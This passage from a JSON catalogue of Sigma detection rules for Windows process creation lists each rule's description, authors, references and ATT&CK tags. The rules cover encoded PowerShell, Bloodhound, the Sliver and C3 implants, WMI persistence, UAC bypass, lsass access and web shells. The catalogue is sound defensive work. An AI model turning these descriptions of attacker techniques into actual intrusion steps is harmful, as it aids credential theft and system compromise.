"meta": { "author": "frack113", "creation_date": "2021/11/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_schtasks_user_temp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_user_temp.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "43f487f0-755f-4c2a-bce7-d6d2eec2fcf8", "value": "Suspicious Add Scheduled Task From User AppData Temp" }, { "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio", "meta": { "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", "creation_date": "2018/04/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_office_shell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml" ], "tags": [ "attack.execution", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "438025f9-5856-4663-83f7-52f878a70a50", "value": "Microsoft Office Product Spawning Windows Shell" }, { "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", "meta": { "author": "Sami Ruohonen, Harish Segar (improvement), Tim Shelton", "creation_date": "2018/09/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_xor_commandline.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" ], "tags": [ "attack.defense_evasion", "attack.t1059.001", "attack.t1140", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bb780e0c-16cf-4383-8383-1e5471db6cf9", "value": "Suspicious XOR Encoded PowerShell Command Line" }, { "description": "Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms", "meta": { "author": "Florian Roth", "creation_date": "2022/09/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hack_sharpersist.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/mandiant/SharPersist", "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml" ], "tags": [ "attack.persistence", "attack.t1053" ] }, "uuid": "26488ad0-f9fd-4536-876f-52fea846a2e4", "value": "SharPersist Usage" }, { "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", "Legitimate administrator sets up autorun keys for legitimate reasons.", "Discord" ], "filename": "proc_creation_win_susp_direct_asep_reg_keys_modification.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_direct_asep_reg_keys_modification.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "24357373-078f-44ed-9ac4-6d334a668a11", "value": "Direct Autorun Keys Modification" }, { "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", "meta": { "author": "Florian Roth", "creation_date": "2019/12/20", "falsepositive": [ "Other programs that use these command line option and accepts an 'All' parameter" ], "filename": "proc_creation_win_hack_bloodhound.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/BloodHoundAD/SharpHound", "https://github.com/BloodHoundAD/BloodHound", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_bloodhound.yml" ], "tags": [ "attack.discovery", "attack.t1087.001", "attack.t1087.002", "attack.t1482", "attack.t1069.001", "attack.t1069.002", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f376c8a7-a2d0-4ddc-aa0c-16c17236d962", "value": "Bloodhound and Sharphound Hack Tool" }, { "description": "Detects WMIC executions in which a event consumer gets created in order to establish persistence", "meta": { "author": "Florian Roth", "creation_date": "2021/06/25", "falsepositive": [ "Legitimate software creating script event consumers" ], "filename": "proc_creation_win_susp_wmic_eventconsumer_create.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", "https://twitter.com/johnlatwc/status/1408062131321270282?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml" ], "tags": [ "attack.persistence", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ebef4391-1a81-4761-a40a-1db446c0e625", "value": "Suspicious WMIC ActiveScriptEventConsumer Creation" }, { "description": "Detects WMI script event consumers", "meta": { "author": "Thomas Patzke", "creation_date": "2018/03/07", "falsepositive": [ "Legitimate event consumers", "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" ], "filename": "proc_creation_win_wmi_persistence_script_event_consumer.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ec1d5e28-8f3b-4188-a6f8-6e8df81dc28e", "value": "WMI Persistence - Script Event Consumer" }, { "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants", "meta": { "author": "Nasreddine Bencherchali, Florian Roth", "creation_date": "2022/08/25", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_c2_sliver.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "42333b2c-b425-441c-b70e-99404a17170f", "value": "Sliver C2 Implant Activity Pattern" }, { "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection", "meta": { "author": "Florian Roth", "creation_date": "2022/03/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_ntdll_type_redirect.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.x86matthew.com/view_post?id=ntdll_pipe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdll_type_redirect.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2", "value": "Suspicious Ntdll Pipe Redirection" }, { "description": "Detects suspicious processes including shells spawnd from WinRM host process", "meta": { "author": "Andreas Hunkeler (@Karneades), Markus Neis", "creation_date": "2021/05/20", "falsepositive": [ "Legitimate WinRM usage" ], "filename": "proc_creation_win_susp_shell_spawn_from_winrm.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_winrm.yml" ], "tags": [ "attack.t1190", "attack.initial_access", "attack.persistence", "attack.privilege_escalation" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5cc2cda8-f261-4d88-a2de-e9e193c86716", "value": "Suspicious Processes Spawned by WinRM" }, { "description": "Detects inline execution of PowerShell code from a file", "meta": { "author": "frack113", "creation_date": "2022/12/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_ps_exec_data_file.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ps_exec_data_file.yml" ], "tags": "No established tags" }, "uuid": "ee218c12-627a-4d27-9e30-d6fb2fe22ed2", "value": "Powershell Inline Execution From A File" }, { "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", "meta": { "author": "David Burkett, @signalblur", "creation_date": "2019/12/28", "falsepositive": [ "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf" ], "filename": "proc_creation_win_susp_svchost_no_cli.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost_no_cli.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "16c37b52-b141-42a5-a3ea-bbe098444397", "value": "Suspect Svchost Activity" }, { "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", "meta": { "author": "Alfie Champion (ajpc500)", "creation_date": "2021/06/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_c3_load_by_rundll32.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b18c9d4c-fac9-4708-bd06-dd5bfacf200f", "value": "F-Secure C3 Load by Rundll32" }, { "description": "detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking", "meta": { "author": "xknow @xknow_infosec, Tim Shelton", "creation_date": "2020/06/11", "falsepositive": [ "(not much) some benign Java tools may product false-positive commandlines for loading libraries" ], "filename": "proc_creation_win_commandline_path_traversal.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Oddvarmoe/status/1270633613449723905", "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml" ], "tags": [ "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "087790e3-3287-436c-bccf-cbd0184a7db1", "value": "Cmd.exe CommandLine Path Traversal" }, { "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/22", "falsepositive": [ "Legitimate use of the PDQDeploy tool to execute these commands" ], "filename": "proc_creation_win_pdqdeploy_runner_susp_children.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/malmoeb/status/1550483085472432128", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml" ], "tags": [ "attack.execution" ] }, "uuid": "12b8e9f5-96b2-41e1-9a42-8c6779a5c184", "value": "Suspicious Execution Of PDQDeployRunner" }, { "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_sigverif.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1457676633809330184", "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7d4aaec2-08ed-4430-8b96-28420e030e04", "value": "Suspicious Sigverif Execution" }, { "description": "Detects specific encoding method of cOnvErTTO-SECUreStRIng in the PowerShell command lines", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", "creation_date": "2020/10/11", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_powershell_cmdline_convertto_securestring.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "74403157-20f5-415d-89a7-c505779585cf", "value": "Encoded PowerShell Command Line Usage of ConvertTo-SecureString" }, { "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution", "meta": { "author": "Romaissa Adjailia, FLorian Roth", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate administrative tasks" ], "filename": "proc_creation_win_susp_psexesvc.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=ro2QuZTIMBM", "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml" ], "tags": [ "attack.execution" ] }, "uuid": "fdfcbd78-48f1-4a4b-90ac-d82241e368c5", "value": "PsExec Service Execution" }, { "description": "Download and compress a remote file and store it in a cab file on local machine.", "meta": { "author": "frack113", "creation_date": "2021/11/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_diantz_remote_cab.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "185d7418-f250-42d0-b72e-0c8b70661e93", "value": "Suspicious Diantz Download and Compress Into a CAB File" }, { "description": "Detects usage of bitsadmin downloading a file from a suspicious domain", "meta": { "author": "Florian Roth", "creation_date": "2022/06/28", "falsepositive": [ "Some legitimate apps use this, but limited." ], "filename": "proc_creation_win_bitsadmin_download_susp_domain.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://isc.sans.edu/diary/22264", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8518ed3d-f7c9-4601-a26c-f361a4256a0c", "value": "Bitsadmin Download from Suspicious Domain" }, { "description": "The \"AdPlus.exe\" binary that is part of the Windows SDK can be used as a lolbin to dump process memory and execute arbitrary commands", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/09", "falsepositive": [ "Legitimate usage of Adplus" ], "filename": "proc_creation_win_lolbin_adplus.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1534915321856917506", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", "https://twitter.com/nas_bench/status/1534916659676422152", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2f869d59-7f6a-4931-992c-cce556ff2d53", "value": "Use of Adplus.exe" }, { "description": "Detects the use of NirCmd tool for command execution as SYSTEM user", "meta": { "author": "Florian Roth, Nasreddine Bencherchali @nas_bench", "creation_date": "2022/01/24", "falsepositive": [ "Legitimate use by administrators" ], "filename": "proc_creation_win_tool_nircmd_as_system.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.nirsoft.net/utils/nircmd.html", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://www.nirsoft.net/utils/nircmd2.html#using", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd_as_system.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d9047477-0359-48c9-b8c7-792cedcdc9c4", "value": "NirCmd Tool Execution As LOCAL SYSTEM" }, { "description": "Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets", "meta": { "author": "pH-T", "creation_date": "2022/05/31", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_base64_invoke_susp_cmdlets.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_invoke_susp_cmdlets.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fd6e2919-3936-40c9-99db-0aa922c356f7", "value": "Malicious Base64 Encoded Powershell Invoke Cmdlets" }, { "description": "Detects wmiexec vbs version execution by wscript or cscript", "meta": { "author": "Florian Roth", "creation_date": "2017/04/07", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_apt_cloudhopper.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_cloudhopper.yml" ], "tags": [ "attack.execution", "attack.g0045", "attack.t1059.005" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "966e4016-627f-44f7-8341-f394905c361f", "value": "WMIExec VBS Script" }, { "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", "meta": { "author": "Florian Roth", "creation_date": "2018/03/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_taskmgr_localsystem.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_localsystem.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "9fff585c-c33e-4a86-b3cd-39312079a65f", "value": "Taskmgr as LOCAL_SYSTEM" }, { "description": "Detects a \"Get-Process\" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity", "meta": { "author": "Florian Roth", "creation_date": "2021/04/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_getprocess_lsass.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/PythonResponder/status/1385064506049630211", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml" ], "tags": [ "attack.credential_access", "attack.t1552.004" ] }, "related": [ { "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b2815d0d-7481-4bf0-9b6c-a4c48a94b349", "value": "PowerShell Get-Process LSASS" }, { "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/10", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_sftp.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/pull/264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a85ffc3a-e8fd-4040-93bf-78aff284d801", "value": "Use Of The SFTP.EXE Binary As A LOLBIN" }, { "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_idiagnostic_profile.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Wh04m1001/IDiagnosticProfileUAC", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4cbef972-f347-4170-b62a-8253f6168e6d", "value": "UAC Bypass Using IDiagnostic Profile" }, { "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", "meta": { "author": "Julia Fomina, oscd.community", "creation_date": "2020/10/05", "falsepositive": [ "Use of Program Compatibility Troubleshooter Helper" ], "filename": "proc_creation_win_susp_pcwutl.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/", "https://twitter.com/harr0ey/status/989617817849876488", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9386d78a-7207-4048-9c9f-a93a7c2d1c05", "value": "Code Execution via Pcwutl.dll" }, { "description": "Detects certain command line parameters often used during reconnaissance activity via web shells", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro, Anton Kutepov, oscd.community", "creation_date": "2017/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_webshell_detection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html", "https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml" ], "tags": [ "attack.persistence", "attack.t1505.003", "attack.t1018", "attack.t1033", "attack.t1087" ] }, "uuid": "bed2a484-9348-4143-8a8a-b801c979301c", "value": "Webshell Detection With Command Line Keywords" }, { "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/14", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_conhost_path_traversal.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2020/07/06/indirect-command-execution/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml" ], "tags": [ "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ee5e119b-1f75-4b34-add8-3be976961e39", "value": "Conhost.exe CommandLine Path Traversal" }, { "description": "Detects renamed jusched.exe used by cobalt group", "meta": { "author": "Markus Neis, Swisscom", "creation_date": "2019/06/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_jusched.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "edd8a48c-1b9f-4ba1-83aa-490338cd1ccb", "value": "Renamed jusched.exe" }, { "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", "meta": { "author": "frack113", "creation_date": "2022/01/30", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" ], "filename": 